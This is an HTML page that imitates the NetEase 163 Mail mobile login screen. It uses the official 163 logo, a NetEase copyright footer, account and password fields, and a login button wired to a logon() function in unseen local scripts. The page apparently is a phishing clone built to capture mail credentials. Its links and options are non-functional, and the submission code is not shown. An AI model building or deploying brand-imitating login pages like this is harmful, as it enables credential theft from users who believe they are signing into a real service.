﻿<!DOCTYPE html>
<html>
    <head>
        <title>163邮箱登录</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0">

        <script src="/resource/javascript/social_163.js"></script>
        <script src="/resource/javascript/config.js"></script>
        <style>
            .logo{
                background-image:url(https://mimg.127.net/p/freemail/index/smart/urs/images/logo163.png);
                background-size: 100%;
                width: 50%;
                background-repeat: no-repeat;
                height: 150px;
            }
            .space{
                width: 100%;
                height: 100px;
            }
        </style>
    </head>
    <body>
        <div align="center">
            <div class="space"></div>
            <div class="logo"></div>
        </div>
        <style>
            .input{
                width: 71%;
                height: 35px;
                float:left;
                text-align: center;
                border: 1px solid #ccc;
                outline: none;
            }
            .input:focus{
                border-color: #3b78dd;
            }
            .inbtn{
                outline: none;
                width: calc(25%);
                float:left;
                height: 35px;
                background-color:white;
                border: 1px solid #ccc;
                border-left: white;
                border-left: none;
            }
        </style>
        <div align="center">
        <div align="center" style="width:80%">
            <table width="100%"class="usersname">
                <tr>
                    <input class="input" style="border-right: none;" placeholder="邮箱账号或者手机密码" id="usersname" />
                    <input id="in" class="inbtn" readonly="readonly" onclick="on()" value="@163.com" />
                    <br />
                </tr>
            </table>
            <input style="margin-top: 10px;width: calc(98% - 1px);" class="input" type="password" placeholder="输入密码" id="password" />
            <style>
                .inbtn1{
                    background-image: url(png.png);
                    background-repeat: no-repeat;
                    background-size: 100%;
                    right: 50px;
                    border-left: none;
                    width: 24%;
                    height: 35px;
                    outline: none;
                }
            </style>
        </div>
    </div>
    <div align="center">
        <div style="width: 100%;">
 
        </div>
    </div>
    <br />
    <div align="center">
        <div style="width: 80%;">
            <div align="left">
                <table>
                    <td>
                        <input type="checkbox" style="width: 15px;height: 15px;" />
                    </td>
                    <td>
                        <p style="color: darkgray;font-size: 12px;">30天内免登陆</p>
                    </td>
                </table>
            </div>
        </div>
    </div>
    <br />
    <div align="center">
        <div style="width: 80%;">
            <button style="border: none;border-radius: 3px;width: 100%;height:35px;background-color: #3b78dd;color: white;" onclick="logon()">
                <span>登 录</span>
            </button>
        </div>
    </div>
    <div align="center">
        <div style="width: 80%;">
        <div style="width: 50%;float: left;">
            <p style="font-size: 12px;color: cornflowerblue;float: left;">忘记密码?</p>
        </div>
        <div style="width: 50%;float: right;">
            <p style="font-size: 12px;color: cornflowerblue;float: right;">去注册</p>
        </div>
        <br />
        <a style="color: #adaaaa;font-size: 12px;">阅读并接受 《服务条款》 和 《隐私政策》</a>
    </div>
</div>
<div style="bottom: 0;position: fixed;width:100%;">
    <div align="center">
        <br />
        <style>
            .font1{
                color: darkgray;
                font-size: 10px;
            }
        </style>
        <div style="width: 100%;">
            <table>
                <td>
                    <P class="font1">电脑版 | </P>
                </td>
                <td>
                    <p class="font1"> 隐私政策 | </p>
                </td>
                <td>
                    <p class="font1"> 儿童隐私政策 | </p>
                </td>
                <td>
                    <p class="font1">网易公司版权所有@1997-2022</p>
                </td>
            </table>
        </div>
    </div>
</div>
    </body>
</html>